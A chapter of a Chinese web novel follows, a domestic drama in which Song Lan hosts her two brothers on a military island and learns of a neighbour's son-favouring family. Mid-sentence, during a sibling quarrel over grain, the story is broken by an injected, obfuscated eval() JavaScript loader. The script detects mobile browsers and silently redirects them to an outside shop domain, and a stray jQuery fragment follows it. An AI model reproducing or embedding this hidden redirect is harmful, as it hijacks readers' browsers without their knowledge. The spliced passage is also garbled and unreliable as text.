放弃管闲事的宋兰,赶着去上课。
早上的小插曲,被她很快抛之脑后。
中午抽空将婚前赶制出来的棉衣和信件一起寄回家,指望二哥帮忙带是不行了。
宋兰寄东西,孟晏青和宋义一起去接宋阳出院。
家里客房早收拾出来,就等二哥往里搬,大哥来了和他一起住。
为此孟晏青和堂哥早早就把二哥之前睡的那张床也搬了过来,放进客卧,给大哥睡,二哥是伤患,两人分床睡最好。
对于即将到来的大哥,和往后几月静养的二哥,宋兰为确保未来的日子里他们不会大眼瞪小眼的无聊,拜托孟晏青找些往年的高中课本来给大哥二哥打发时间。
学习起来就不无聊了。
眼见着还有两年就要恢复高考。
两年的准备时间,只要不是真笨蛋,她就不信大哥二哥考不上大学。
书给大嫂三哥也寄回去一套,不给家里任何一人掉队的机会。
都给她学起来!
岛上的众人正忙,与此同时宋强也顺利的和妹夫派来接他的人汇合。
而接到嫂子亲大哥的李响,喜滋滋地帮大哥分担着行李同时,嘴上嘚吧嘚吧个没停。
当然,说的都是一些围绕自家副团的英勇事迹和趣事,好借此给自家副团刷刷大舅哥好感。
被刷好感的宋强被迫听了一路妹夫的好话,只觉眼前这个战士叽叽喳喳吵得不像话。
宋强很想安静赶路,不想听这些无关紧要的东西。
但又怕出声打断他,显得自己不够有礼貌,只能继续忍着努力嗯嗯啊啊地敷衍他。
第不知多少次在心里默默叹气后,宋强和李响终于辗转坐上了前往小岛的船。
宋强瞥一眼自上船后明显安静下来的李响,出于礼貌关心道:“你不舒服?”
李响勉强点头,他有些晕船,但不严重,只是没精力再跟大哥交谈了。
宋强心情复杂地安慰他:“你休息一会吧,辛苦你了。”
李响继续点头,心说不愧是嫂子的大哥,真体贴。
于是耳边清净下来的宋强,终于有了观察周遭环境的心情。
头一次出远门就能看到海,抛开糟心的二弟不谈,他心情挺好的。
大海无垠与天边相接,波光粼粼的海面闪烁着璀璨,海风轻拂,带来阵阵海水的清咸,诉说着大海的美丽与深沉。
云彩遮挡晚阳,无法看到海上落日的宋强有些遗憾,同时又对往后多了份期盼。
宋强看着看着,发现自己是喜欢海的,不是出于对第一次见识新奇事物的喜欢,是对于大海本身静谧与宽阔的喜欢。
中午出院的宋阳,下午仍是被郑红兵照料着的。
晚上宋兰下班和孟晏青一起准备了八菜一汤,一为答谢郑红兵这几天对二哥的照顾,二为慰劳辛苦去接大哥的李响,三为欢迎大哥的到来。
饭菜做到一半,堂哥堂嫂也过来一起帮忙。
等宋强到了小妹家后,迎接他的便是满桌的饭菜,和乖乖并排站在小妹妹夫身前的小侄子侄女奶声奶气的舅舅。
被小妹拉着放好行李,宋强才真有空好好打量着他的新妹夫。
嗯,现实里看,比寄回去的照片还俊,怪不得小妹喜欢,相信把他带回老家他娘也喜欢。
至于品行,宋义跟他关系挺好,几年相处都没发现这人有什么品行不端的地方,那他更不可能凭借一个照面就观察出来。
饭桌上,由于大家明天上班的上班,训练的训练,谁都没闲,因此酒喝的都不多。
散场后,郑红兵和李响一起回部队宿舍,宋义和张芳回家。
宋强和孟晏青一块收拾餐桌和厨房,宋兰带着过了休息时间困得哈欠连天的俩小孩洗漱完毕,回屋睡觉。
轻手轻脚关上孩子的卧室门,宋兰去客卧看了一眼二哥。
宋阳生无可恋地躺在床上,他这么爱热闹的一人,众人吃喝时他只能远远躺着听,连看都看不到,想都知道有多闹心。
房门被打开,宋阳转动眼珠看着过来的小妹,抱怨道:“热闹都是你们的,我只是个躺着不能动的废物,连围观的资格都没有,你还来干嘛?可怜我?看我笑话?”
宋兰被他的碎碎念逗笑,这是什么深闺怨妇发言。
知道他爱热闹,这幅模样他确实辛苦,宋兰上前坐到他床边,给他掖掖被角揶揄道:“对,来可怜你,顺带嘲笑你。”
宋阳哼的一声,扭头,扭不动,闭上眼,表示他生气了,不想见她。
宋兰看着自从受伤后,越来越幼稚的二哥,心智仿佛退化到了小时候。
宋兰抿唇憋笑哄他:“好啦,别气了,刚不是所有人都来看过你了。”
提起这个宋阳更气了,他是什么养在动物园的猴子吗?一个个的轮流过来看他一眼,真就看一眼,话都不说,问都不问他一句转头就走。
对于这件事,宋兰可以解释,斜身看一眼客厅后,宋兰干咳一声凑近二哥小声告密:“其实刚刚来看你,不是我们不想跟你说话,是大哥不允许,大哥说了,他要让我们好好记住你如今的下场,以此为鉴,往后做人行事三思而后行。”
宋兰越说看着二哥的眼神就越是怜悯。
她家大哥以往看不出来,但自从他开始教嫂子读书认字后,仿佛找到了人生乐趣,此后,不管遇见什么,只要有教育人的机会,他都不会放过。
这次二哥受伤,大哥饭桌上问清缘由后,不顾吃喝正当兴的众人意愿,平静地说出了这个要求。
连郑红兵和李响都配合着做了,别说他们几个弟弟妹妹了。
说来她还得感谢大哥没让他们每人写上八百字感悟心得。
宋阳听完小妹的话,嚯的睁眼,灯光下,瞳孔震颤明显,嘴唇翕动片刻,咽下到嘴的脏话,终是更加生无可恋地闭上了眼。
他完了。
大哥在部队都这样,那等他回村还得了。
可怜他一世英名,往后怕是都要被大哥当成反面教材,时不时拎出来反复鞭尸。
见他被这消息打击的睫毛根部都湿了,宋兰不忍的拍拍他的胳膊:“别气馁,等你好了,说不定时间一长大哥就忘了你这茬,现在最紧要的是养好身体。”
“对了,我昨天还给咱家订了鲜奶,从明天起开始送,你一定得喝知道吗,补充营养,多喝点好的快。”
面对小妹苍白的安抚,宋阳怏怏地眨眼表示他会喝的,竟是连话都不想说了。
最后再拍拍他的肩膀以示同情,宋兰背着手老气横秋地走了。
二哥的心理承受能力还是不大行,让他学习的事还是等书本到了再告诉他吧,免得一次接收这么多消息觉都睡不好,不利于恢复。
宋强和妹夫一起收拾厨房,看他熟练的洗碗刷锅,满意点头。
不错,是个会做家务的男人。
以孟晏青的敏锐,早就发现了大哥明里暗里的打量。
大哥比二哥情绪内敛,他只观察,不发表任何意见且对他的态度从始至终温和。
看来大哥同兰兰说的一样,是个好相处的人,只是有些爱教育人,
想到晚饭时的那个言传身教,孟晏青唇角不由自主地翘了起来。
果然如他猜测那样,对付二哥,大哥有的是办法。
两人沉默的洗刷着锅碗瓢盆,宋兰已经翻开了大哥的行李。
别说没礼貌,跟自家亲大哥讲什么男女有别,她又不是在扒大哥衣服,她只是在拆大哥行李。
她娘真疼她,还给她的崽儿做新衣服呢,嗯,大嫂对她也好,蛋蛋的小衣服也给她带了好多。
还有粮食,怎么还带粮食!
将大哥带来的米面一袋袋排列整齐,宋兰叉腰站在原地生闷气。
给她送这么多粮,家里还有余粮吗?
宋强出来看到气咻咻的小妹,咧嘴笑她:“干什么,有啥好气的,我当大哥的还能叫你养,带自己口粮不是应该的?”
宋兰瞪眼:“你们就把我当外人吧,上回二哥背着粮食过来,但那是在堂哥家我就不说啥了,这回你来的是我家,怎么还带这么多粮,是怕我养不起你和二哥?还是觉得嫁出去的小妹泼出去的水,打算以后跟我当亲
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17883915|208907||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
戚处吗?”
宋强被说的冤枉,等小妹发泄完,才不慌不忙地讲道理:“哪是跟你见外,知道你有工作了不缺吃喝,但我跟你二哥两个大男人多能吃你又不是不知道,你们在岛上不能自己种地,每个月就那么点粮食份额,顶我跟老二吃个十天半月还成,但吃两三个月还不得把你们吃穷,再说了家里现在还有两个小孩,你不想你跟妹夫,也得多想想孩子啊,你舍得他俩小小年纪跟着咱吃糠咽菜?”
宋兰被他说的有些悻悻,撑着最后的倔强说:“我们不能吃糠咽菜,你拿这么多粮食过来,换爸妈大嫂和蛋蛋吃糠咽菜?”
宋强伸出一根手指戳戳她的脑门:“平时挺聪明,这会儿看起来怎么像个笨蛋,咱家在村子里,缺什么都不会缺粮食,而且我拿来的这些都是爸带着我在村里换的,你以为就你怕吃糠咽菜呢?”
宋兰有些脸红的揉揉被戳的额头,她刚光顾着着急,忘了村子里可以换粮了,嘿嘿。
宋强唏嘘摇头,弟弟妹妹果然没一个能让人省心。
孟晏青站在两人中间稍远的地方,方便观望兄妹俩的交流且不错过他们脸上的任何表情,直到他们结束这小小的争辩,看到大哥表露出似曾相识的心累感后,眼中泛出星点笑意。
适时出声,拯救尴尬中的妻子:“大哥,水烧好了,要不要洗个澡?”
宋强欣然点头,一路奔波,不洗洗是很难上床入睡了。
宋兰对救自己一命的男人,偷偷比了个爱的小心心。
孟晏青垂眸遮住眼底氤氲的笑意,带大哥前往洗漱。
主卧里,宋兰趴在孟晏青怀里,伸出细长的手指戳戳他的脸颊,问出了憋了一天的好奇:“你知道马松马营长吗?”
孟晏青挑眉:“知道,想问什么?”
宋兰眉眼弯弯,粉红的脸蛋在灯光下更加娇俏:“想问他家到底是什么情况,今早我去学校路过他家,被里面传出来的声音吓了老大一跳,当时还不知道那是谁家,找了桂花嫂才知道是他家,但嫂子劝我别管,说连郑主任都管不来他家的事。”
以前孟晏青住在部队宿舍,对家属院里住着的家家户户没兴趣也不关注,只偶尔会从别人口中听到一些散碎消息。
但在申请房子后,专门找人打听了住在这里的所有人家,为的就是帮兰兰了解哪些人能处,哪些人需要远离。
孟晏青亲亲她仰着的小脸,半眯双眼缓缓道:“他们家没什么大事,主要家庭矛盾在于重男轻女,马营长夫妻俩结婚多年,一连生了四个闺女才盼得一个儿子,偏心比较严重,对几个女儿非打即骂当丫鬟使,把儿子祖宗供着。”
宋兰张口结舌,实话说,在村子里她对这些屡见不鲜,但在部队也这样?而且她没记错的话曹丹这人上过学,开过智了怎么还会重男轻女。
孟晏青对此开导她:“我们不能以全概偏,不是每个读过书的人都会明理,就像岳父岳母那样,没读过什么书,见识广泛的人也有,反之读过很多书,不通人性的也大有人在。”
宋兰又不是小孩子,这道理当然明白,只该惊讶还是惊讶。
村子里她见到这样因偏见受苦的小女孩,会偷偷摸摸地教她们读书识字,离开前,把这艰巨的任务交付给了大嫂。
现在又遇到了这事,虽然不喜欢曹丹,但稚子无辜,她想知道自己有没有可能帮到这些孩子。
宋兰又问孟晏青:“他们家女孩儿给上学吗?”
孟晏青一手搂住她纤细的腰肢,一手垫到她的脑后亲昵地蹭蹭她的脸笑:“嗯……老大老二在上学,老三和老四没听说有在上学。”
宋兰皱眉推开他的脸,摸着被蹭到发疼的脸颊,继续问:“老三老四多大了?”
孟晏青握住她推拒的手凑到嘴边亲了一口:“这我就不清楚了,你想知道得找你的桂花嫂问了。”
不想她半夜躺在他怀里继续聊别人,孟晏青一个翻身压在她身上,眸色深深地亲吻她:“别聊别人了小宋老师,夜深了,我们来干点有意思的。”
宋兰正想的出神,被他一套连招搅合下来,脑海里什么想法都没了,只剩一片混沌。